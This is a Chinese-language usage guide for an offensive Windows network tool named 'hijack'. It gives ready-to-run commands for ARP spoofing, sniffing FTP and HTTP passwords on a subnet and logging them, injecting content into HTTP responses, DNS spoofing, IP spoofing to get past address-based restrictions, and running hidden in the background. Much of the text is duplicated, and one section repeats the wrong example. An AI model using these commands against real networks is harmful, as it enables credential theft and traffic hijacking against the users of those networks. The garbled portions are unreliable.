工具的使用方法:
usage: hijack <-LVXhefvqsxrkHDtNzoi> <-d dev> <-S interval> <-l logfile>
<-W normal|byline|none> <-F jobfile> <-p port> <-c http_flag>
<-IO pcap_dump> <-E quit time> <-R reboot time>
<-b submask> <-m speed> <Source Host> <Dest Host>
<match expression> <bpf filter> | <genuine host> <faked host>
-h is help/usage 顯示幫助信息
-V is version information 顯示版本信息
-v is be verbose 程序運行時顯示詳細信息
-q is be quiet (don't print packet reception hash marks) 安靜模式,不顯示數據包標識
-e is show empty packets 顯示空的數據包
-o is fixed '\0' after replace data offset 替換數據後,被替換的數據後都用空字節'\0'填充
-i is ignore case 忽略大小寫進行匹配
-S is spoof interval default is 3000 ms 設置發送RARP欺騙的時間間隔,不能設太大,不然程序會死,條件競爭問題 針對***一些反ARP欺騙的主機, 越小越好
-l is set logfile to record 設置日專記錄文件,日誌記錄文件將程序運行輸出的內容再記錄的文件裏
-r is enabled ip routing 開啓系統內置的路由功能,只能嗅探,不能修改數據包
-b is to force define submask 強制指定子網掩碼,對一些跨網段的欺騙有效
-m is define max transmit speed k/s 限制最大網絡傳輸速度 k/s
-f is set full spoof-route mode default is half 設置欺騙方式爲雙向欺騙
-x is print in alternate hexdump format 打印出來的數據爲十六進制
-X is interpret match expression as hexadecimal 設置要匹配的字串爲十六進制,如0x0d0a00
-p is the port to hijack 設置要進行數據劫持的端口,默認爲全部
-c is the flag string to insert for http hijack 要插入代碼的HTTP響應包的特徵字符串,默認爲200 OK
-I is read packet stream from pcap format file pcap_dump 從一個pcap數據包格式的文件裏讀取數據包,進行離線嗅探
-D is dnsspoof mode 模式改變爲DNS欺騙,規則文件格式不變
-t is print timestamp every time a packet is matched 當有匹配的數據包時,打出時間戳
-E is time to quit # 程序自動退出的時間間隔,按秒計算
-R is time to reboot program # 程序自動重新啓動的時間間隔,按秒計算
-N is release demo job file 釋放一規則文件
-s is scan hosts in subnet 掃描子網
-H is hidden from console, background mode killed /k 從控制檯隱藏到後到執行,可以用hijack -k 結束
-k is killed a exists instance 結束一個存在的實例
-O is dump matched packets in pcap format to pcap_dump 保存匹配的數據包到一個pcap數據包格式的文件裏
-W is set the dump format (normal, byline, none) 設置數據包顯示的格式,一般,按行,無格式三種
-F is read the filter from the specified file 從指定的文件裏讀取規則
-z is IP faked mode genuine and faked host variable auto switch full spoof# 進行IP僞造genuine host 和 faked host生效, 自動打開全雙工選項
-d is use specified device (index) 使用指定網卡的索引號
-L is show the winpcap device list index 顯示網卡列表
<-W normal|byline|none> <-F jobfile> <-p port> <-c http_flag>
<-IO pcap_dump> <-E quit time> <-R reboot time>
<-b submask> <-m speed> <Source Host> <Dest Host>
<match expression> <bpf filter> | <genuine host> <faked host>
-h is help/usage 顯示幫助信息
-V is version information 顯示版本信息
-v is be verbose 程序運行時顯示詳細信息
-q is be quiet (don't print packet reception hash marks) 安靜模式,不顯示數據包標識
-e is show empty packets 顯示空的數據包
-o is fixed '\0' after replace data offset 替換數據後,被替換的數據後都用空字節'\0'填充
-i is ignore case 忽略大小寫進行匹配
-S is spoof interval default is 3000 ms 設置發送RARP欺騙的時間間隔,不能設太大,不然程序會死,條件競爭問題 針對***一些反ARP欺騙的主機, 越小越好
-l is set logfile to record 設置日專記錄文件,日誌記錄文件將程序運行輸出的內容再記錄的文件裏
-r is enabled ip routing 開啓系統內置的路由功能,只能嗅探,不能修改數據包
-b is to force define submask 強制指定子網掩碼,對一些跨網段的欺騙有效
-m is define max transmit speed k/s 限制最大網絡傳輸速度 k/s
-f is set full spoof-route mode default is half 設置欺騙方式爲雙向欺騙
-x is print in alternate hexdump format 打印出來的數據爲十六進制
-X is interpret match expression as hexadecimal 設置要匹配的字串爲十六進制,如0x0d0a00
-p is the port to hijack 設置要進行數據劫持的端口,默認爲全部
-c is the flag string to insert for http hijack 要插入代碼的HTTP響應包的特徵字符串,默認爲200 OK
-I is read packet stream from pcap format file pcap_dump 從一個pcap數據包格式的文件裏讀取數據包,進行離線嗅探
-D is dnsspoof mode 模式改變爲DNS欺騙,規則文件格式不變
-t is print timestamp every time a packet is matched 當有匹配的數據包時,打出時間戳
-E is time to quit # 程序自動退出的時間間隔,按秒計算
-R is time to reboot program # 程序自動重新啓動的時間間隔,按秒計算
-N is release demo job file 釋放一規則文件
-s is scan hosts in subnet 掃描子網
-H is hidden from console, background mode killed /k 從控制檯隱藏到後到執行,可以用hijack -k 結束
-k is killed a exists instance 結束一個存在的實例
-O is dump matched packets in pcap format to pcap_dump 保存匹配的數據包到一個pcap數據包格式的文件裏
-W is set the dump format (normal, byline, none) 設置數據包顯示的格式,一般,按行,無格式三種
-F is read the filter from the specified file 從指定的文件裏讀取規則
-z is IP faked mode genuine and faked host variable auto switch full spoof# 進行IP僞造genuine host 和 faked host生效, 自動打開全雙工選項
-d is use specified device (index) 使用指定網卡的索引號
-L is show the winpcap device list index 顯示網卡列表
______________________________________________________________________________________________________________________
// 常用功能舉例說明
顯示網卡列表
hijack /L
hijack /L
掃描子網
hijack /sd3
hijack /sd3
結束一個現有的實例
hijack /k
______________________________________________________________________________________________________________________
// 嗅探功能舉例說明
hijack /k
______________________________________________________________________________________________________________________
// 嗅探功能舉例說明
嗅探子網,程序自動轉發 (可以匹配,但不能設置過濾規則)
hijack /d3 192.168.16.* 192.168.16.1
嗅探子網,同上, 雙向欺騙
hijack /fd3 192.168.16.* 192.168.16.1
hijack /fd3 192.168.16.* 192.168.16.1
嗅探子網,同上,退出Console, 進入後臺運行
hijack /Hfd3 192.168.16.* 192.168.16.1
hijack /Hfd3 192.168.16.* 192.168.16.1
嗅探子網,同上,退出Console, 進入後臺運行, 120秒後程序自動退出
hijack /Hfd3 /E 120 192.168.16.* 192.168.16.1
hijack /Hfd3 /E 120 192.168.16.* 192.168.16.1
嗅探子網,同上,退出Console, 進入後臺運行, 120秒後程序自動重新運行
hijack /Hfd3 /R 120 192.168.16.* 192.168.16.1
嗅探子網,程序自動轉發,發送RARP欺騙包間隔爲100微秒
hijack /d3 /S 100 192.168.16.* 192.168.16.1
hijack /d3 /S 100 192.168.16.* 192.168.16.1
嗅探子網,同上, 強制指定子網掩碼爲255.255.255.0
hijack /d3 /S 100 /b 255.255.255.0 192.168.16.* 192.168.16.1
hijack /d3 /S 100 /b 255.255.255.0 192.168.16.* 192.168.16.1
嗅探子網,系統自動轉發 (效率高, 可以設置BPF規則) 以下爲嗅探FTP密碼 "|" 爲條件分隔符
hijack /rqd3 192.168.16.* 192.168.16.1 "USER|PASS" "tcp and dst port 21"
hijack /rqd3 192.168.16.* 192.168.16.1 "USER|PASS" "tcp and dst port 21"
同上,將信息保存到pass.log裏,pass.log裏有詳細的FTP密碼信息
hijack /rqd3 /l pass.log 192.168.16.* 192.168.16.1 "USER|PASS" "tcp and dst port 21"
hijack /rqd3 /l pass.log 192.168.16.* 192.168.16.1 "USER|PASS" "tcp and dst port 21"
嗅探子網,一些常見的HTTP密碼, 不區分大小定(i選項打開), 保存數據包到pass.dat裏
hijack /rqid3 /O pass.dat 192.168.16.* 192.168.16.1 "username=|password=" "tcp and dst port 80"
hijack /rqid3 /O pass.dat 192.168.16.* 192.168.16.1 "username=|password=" "tcp and dst port 80"
還原數據包數據,程序將顯示嗅探到的數據包
hijack /I packet.dat
hijack /I packet.dat
自定義要嗅探的主機用","分隔,如:
hijack /rd3 192.168.16.3,192.168.16.8,192.168.16.10-20 192.168.16.1
hijack /rd3 192.168.16.3,192.168.16.8,192.168.16.10-20 192.168.16.1
______________________________________________________________________________________________________________________
// 數據包修改功能舉例說明
釋放一個替則文件
hijack /N
釋放的文件如下:
----
gzip
----
gxip
----
http-insert
----
<center>hijack</center>
----
gzip
----
gxip
----
http-insert
----
<center>hijack</center>
----
程序以"----"爲分隔符,第一個字符串爲原字符串,第二個字符串爲替換後的字符串,最大長度都爲256字節, 往下再重複
如果是原字符串爲http-insert,表始要進行HTTP會話劫持,程序將下一條字符串插入到HTTP響應包裏
如果是原字符串爲http-insert,表始要進行HTTP會話劫持,程序將下一條字符串插入到HTTP響應包裏
劫持網關到子網之間的數據, 並顯示詳細信息
hijack /vd3 /p 80 /S 100 /F job.txt 192.168.16.1 192.168.16.*
hijack /vd3 /p 80 /S 100 /F job.txt 192.168.16.1 192.168.16.*
修改後的數據用'\0'字符填充
hijack /vod3 /p 80 /S 100 /F job.txt 192.168.16.1 192.168.16.*
hijack /vod3 /p 80 /S 100 /F job.txt 192.168.16.1 192.168.16.*
修改後的數據用'\0'字符填充
hijack /vod3 /p 80 /S 100 /F job.txt /c "404" 192.168.16.1 192.168.16.*
hijack /vod3 /p 80 /S 100 /F job.txt /c "404" 192.168.16.1 192.168.16.*
______________________________________________________________________________________________________________________
// DNS欺騙說明, 需打開-D選項
DNS欺騙與數據包修改唯一不同的就是規則文件,一個實例的DNS欺騙需要用的規則文件如下
欺騙後 就把www.163.com的IP解析成了192.168.16.3, 其它所有的都解析爲192.168.16.1
DNS欺騙www.163.com爲192.168.16.3
規則文件dns.txt如下
----
www.163.com
----
192.168.16.3
----
命令如下:
hijack /Dvd3 /F dns.txt 192.168.16.* 192.168.16.1
注意: 實例中dns查詢包是從內網到外網發送的,所以欺騙方向要注意
______________________________________________________________________________________________________________________
// IP欺騙說明, 需打開-z選項
----
www.163.com
----
192.168.16.3
----
命令如下:
hijack /Dvd3 /F dns.txt 192.168.16.* 192.168.16.1
注意: 實例中dns查詢包是從內網到外網發送的,所以欺騙方向要注意
______________________________________________________________________________________________________________________
// IP欺騙說明, 需打開-z選項
hijack /zd3 202.108.22.33 202.108.22.1 61.163.83.11 202.102.245.9
實例是在公網上實現的,如果202.108.22.33的21端口做了IP限制,只允許202.102.245.9訪問(可以嗅探得到)
***者IP是61.163.83.11,則可以通到上面的命令突破IP限制
***者IP是61.163.83.11,則可以通到上面的命令突破IP限制
______________________________________________________________________________________________________________________
// 網速限制說明
限制子網網速爲20K/S, 本機不在統計內
限制子網網速爲20K/S, 本機不在統計內
hijack /fd3 /m 20 192.168.16.* 192.168.16.1